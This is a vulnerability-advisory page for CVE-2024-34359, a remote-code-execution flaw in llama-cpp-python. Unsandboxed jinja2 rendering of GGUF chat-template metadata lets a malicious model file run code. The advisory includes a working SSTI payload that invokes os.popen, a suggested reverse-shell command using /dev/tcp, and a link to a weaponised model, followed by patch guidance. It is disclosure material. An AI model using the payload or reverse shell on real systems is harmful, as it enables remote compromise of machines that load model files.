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CVE-2024-34359 — Vulnerability in llama-cpp-python — CVE Details

CRITICAL

llama-cpp-python vulnerable to Remote Code Execution by Server-Side Template Injection in Model Metadata

Published June 29, 2026Updated July 13, 2026Source: osv

Summary

## Description `llama-cpp-python` depends on class `Llama` in `llama.py` to load `.gguf` llama.cpp or Latency Machine Learning Models. The `__init__` constructor built in the `Llama` takes several parameters to configure the loading and running of the model. Other than `NUMA, LoRa settings`, `loading tokenizers,` and `hardware settings`, `__init__` also loads the `chat template` from targeted `.gguf` 's Metadata and furtherly parses it to `llama_chat_format.Jinja2ChatFormatter.to_chat_handler()` to construct the `self.chat_handler` for this model. Nevertheless, `Jinja2ChatFormatter` parse the `chat template` within the Metadate with sandbox-less `jinja2.Environment`, which is furthermore rendered in `__call__` to construct the `prompt` of interaction. This allows `jinja2` Server Side Template Injection which leads to RCE by a carefully constructed payload. ## Source-to-Sink ### `llama.py` -> `class Llama` -> `__init__`: ```python class Llama: """High-level Python wrapper for a llama.cpp model.""" __backend_initialized = False def __init__( self, model_path: str, # lots of params; Ignoring ): self.verbose = verbose set_verbose(verbose) if not Llama.__backend_initialized: with suppress_stdout_stderr(disable=verbose): llama_cpp.llama_backend_init() Llama.__backend_initialized = True # Ignoring lines of unrelated codes..... try: self.metadata = self._model.metadata() except Exception as e: self.metadata = {} if self.verbose: print(f"Failed to load metadata: {e}", file=sys.stderr) if self.verbose: print(f"Model metadata: {self.metadata}", file=sys.stderr) if ( self.chat_format is None and self.chat_handler is None and "tokenizer.chat_template" in self.metadata ): chat_format = llama_chat_format.guess_chat_format_from_gguf_metadata( self.metadata ) if chat_format is not None: self.chat_format = chat_format if self.verbose: print(f"Guessed chat format: {chat_format}", file=sys.stderr) else: template = self.metadata["tokenizer.chat_template"] try: eos_token_id = int(self.metadata["tokenizer.ggml.eos_token_id"]) except: eos_token_id = self.token_eos() try: bos_token_id = int(self.metadata["tokenizer.ggml.bos_token_id"]) except: bos_token_id = self.token_bos() eos_token = self._model.token_get_text(eos_token_id) bos_token = self._model.token_get_text(bos_token_id) if self.verbose: print(f"Using gguf chat template: {template}", file=sys.stderr) print(f"Using chat eos_token: {eos_token}", file=sys.stderr) print(f"Using chat bos_token: {bos_token}", file=sys.stderr) self.chat_handler = llama_chat_format.Jinja2ChatFormatter( template=template, eos_token=eos_token, bos_token=bos_token, stop_token_ids=[eos_token_id], ).to_chat_handler() if self.chat_format is None and self.chat_handler is None: self.chat_format = "llama-2" if self.verbose: print(f"Using fallback chat format: {chat_format}", file=sys.stderr) ``` In `llama.py`, `llama-cpp-python` defined the fundamental class for model initialization parsing (Including `NUMA, LoRa settings`, `loading tokenizers,` and stuff ). In our case, we will be focusing on the parts where it processes `metadata`; it first checks if `chat_format` and `chat_handler` are `None` and checks if the key `tokenizer.chat_template` exists in the metadata dictionary `self.metadata`. If it exists, it will try to guess the `chat format` from the `metadata`. If the guess fails, it will get the value of `chat_template` directly from `self.metadata.self.metadata` is set during class initialization and it tries to get the metadata by calling the model's metadata() method, after that, the `chat_template` is parsed into `llama_chat_format.Jinja2ChatFormatter` as params which furthermore stored the `to_chat_handler()` as `chat_handler` ### `llama_chat_format.py` -> `Jinja2ChatFormatter`: `self._environment = jinja2.Environment( -> from_string(self.template) -> self._environment.render(` ```python class ChatFormatter(Protocol): """Base Protocol for a chat formatter. A chat formatter is a function that takes a list of messages and returns a chat format response which can be used to generate a completion. The response can also include a stop token or list of stop tokens to use for the completion.""" def __call__( self, *, messages: List[llama_types.ChatCompletionRequestMessage], **kwargs: Any, ) -> ChatFormatterResponse: ... class Jinja2ChatFormatter(ChatFormatter): def __init__( self, template: str, eos_token: str, bos_token: str, add_generation_prompt: bool = True, stop_token_ids: Optional[List[int]] = None, ): """A chat formatter that uses jinja2 templates to format the prompt.""" self.template = template self.eos_token = eos_token self.bos_token = bos_token self.add_generation_prompt = add_generation_prompt self.stop_token_ids = set(stop_token_ids) if stop_token_ids is not None else None self._environment = jinja2.Environment( loader=jinja2.BaseLoader(), trim_blocks=True, lstrip_blocks=True, ).from_string(self.template) def __call__( self, *, messages: List[llama_types.ChatCompletionRequestMessage], functions: Optional[List[llama_types.ChatCompletionFunction]] = None, function_call: Optional[llama_types.ChatCompletionRequestFunctionCall] = None, tools: Optional[List[llama_types.ChatCompletionTool]] = None, tool_choice: Optional[llama_types.ChatCompletionToolChoiceOption] = None, **kwargs: Any, ) -> ChatFormatterResponse: def raise_exception(message: str): raise ValueError(message) prompt = self._environment.render( messages=messages, eos_token=self.eos_token, bos_token=self.bos_token, raise_exception=raise_exception, add_generation_prompt=self.add_generation_prompt, functions=functions, function_call=function_call, tools=tools, tool_choice=tool_choice, ) ``` As we can see in `llama_chat_format.py` -> `Jinja2ChatFormatter`, the constructor `__init__` initialized required `members` inside of the class; Nevertheless, focusing on this line: ```python self._environment = jinja2.Environment( loader=jinja2.BaseLoader(), trim_blocks=True, lstrip_blocks=True, ).from_string(self.template) ``` Fun thing here: `llama_cpp_python` directly loads the `self.template` (`self.template = template` which is the `chat template` located in the `Metadate` that is parsed as a param) via `jinja2.Environment.from_string(` without setting any sandbox flag or using the protected `immutablesandboxedenvironment `class. This is extremely unsafe since the attacker can implicitly tell `llama_cpp_python` to load malicious `chat template` which is furthermore rendered in the `__call__` constructor, allowing RCEs or Denial-of-Service since `jinja2`'s renderer evaluates embed codes like `eval()`, and we can utilize expose method by exploring the attribution such as `__globals__`, `__subclasses__` of pretty much anything. ```python def __call__( self, *, messages: List[llama_types.ChatCompletionRequestMessage], functions: Optional[List[llama_types.ChatCompletionFunction]] = None, function_call: Optional[llama_types.ChatCompletionRequestFunctionCall] = None, tools: Optional[List[llama_types.ChatCompletionTool]] = None, tool_choice: Optional[llama_types.ChatCompletionToolChoiceOption] = None, **kwargs: Any, ) -> ChatFormatterResponse: def raise_exception(message: str): raise ValueError(message) prompt = self._environment.render( # rendered! messages=messages, eos_token=self.eos_token, bos_token=self.bos_token, raise_exception=raise_exception, add_generation_prompt=self.add_generation_prompt, functions=functions, function_call=function_call, tools=tools, tool_choice=tool_choice, ) ``` ## Exploiting For our exploitation, we first downloaded [qwen1_5-0_5b-chat-q2_k.gguf](https://huggingface.co/Qwen/Qwen1.5-0.5B-Chat-GGUF/blob/main/qwen1_5-0_5b-chat-q2_k.gguf) of `Qwen/Qwen1.5-0.5B-Chat-GGUF` on `huggingface` as the base of the exploitation, by importing the file to `Hex-compatible` editors (In my case I used the built-in `Hex editor` or `vscode`), you can try to search for key `chat_template` (imported as `template = self.metadata["tokenizer.chat_template"]` in `llama-cpp-python`): <img src="https://raw.githubusercontent.com/retr0reg/0reg-uploads/main/img/202405021808647.png" alt="image-20240502180804562" style="zoom: 25%;" /> `qwen1_5-0_5b-chat-q2_k.gguf` appears to be using the OG `role+message` and using the fun `jinja2` syntax. By first replacing the original `chat_template` in `\x00`, then inserting our SSTI payload. We constructed this payload which firstly iterates over the subclasses of the base class of all classes in Python. The expression `().__class__.__base__.__subclasses__()` retrieves a list of all subclasses of the basic `object` class and then we check if its `warning` by `if "warning" in x.__name__`, if it is , we access its module via the `_module` attribute then access Python's built-in functions through `__builtins__` and uses the `__import__` function to import the `os` module and finally we called `os.popen` to `touch /tmp/retr0reg`, create an empty file call `retr0reg` under `/tmp/` ```python {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("touch /tmp/retr0reg")}}{%endif%}{% endfor %} ``` in real life exploiting instance, we can change `touch /tmp/retr0reg` into arbitrary codes like `sh -i >& /dev/tcp/<HOST>/<PORT> 0>&1` to create a reverse shell connection to specified host, in our case we are using `touch /tmp/retr0reg` to showcase the exploitability of this vulnerability. <img src="https://raw.githubusercontent.com/retr0reg/0reg-uploads/main/img/202405022009159.png" alt="image-20240502200909127" style="zoom:50%;" /> After these steps, we got ourselves a malicious model with an embedded payload in `chat_template` of the `metahead`, in which will be parsed and rendered by `llama.py:class Llama:init -> self.chat_handler `-> `llama_chat_format.py:Jinja2ChatFormatter:init -> self._environment = jinja2.Environment(` -> ``llama_chat_format.py:Jinja2ChatFormatter:call -> self._environment.render(` *(The uploaded malicious model file is in https://huggingface.co/Retr0REG/Whats-up-gguf )* ```python from llama_cpp import Llama # Loading locally: model = Llama(model_path="qwen1_5-0_5b-chat-q2_k.gguf") # Or loading from huggingface: model = Llama.from_pretrained( repo_id="Retr0REG/Whats-up-gguf", filename="qwen1_5-0_5b-chat-q2_k.gguf", verbose=False ) print(model.create_chat_completion(messages=[{"role": "user","content": "what is the meaning of life?"}])) ``` Now when the model is loaded whether as ` Llama.from_pretrained` or `Llama` and chatted, our malicious code in the `chat_template` of the `metahead` will be triggered and execute arbitrary code. PoC video here: https://drive.google.com/file/d/1uLiU-uidESCs_4EqXDiyKR1eNOF1IUtb/view?usp=sharing

Advisory Timeline

  • First published June 29, 2026 (105 days ago).
  • Last revised July 13, 2026 — 14 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

pip
Update llama-cpp-python to 0.2.72 or later
pip install "llama-cpp-python>=0.2.72"

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: pypi (1).

PackageEcosystemAffectedFixed In
llama-cpp-python
pypi
0.2.30, 0.2.31, 0.2.32, 0.2.33 (+38 more)0.2.72

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.6 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2024-34359?
llama-cpp-python vulnerable to Remote Code Execution by Server-Side Template Injection in Model Metadata This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.6/10).
How do I check if my project is affected by CVE-2024-34359?
CVE-2024-34359 affects llama-cpp-python. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2024-34359 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.6

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

PYSEC-2026-392
GHSA-56xg-wfcc-g829

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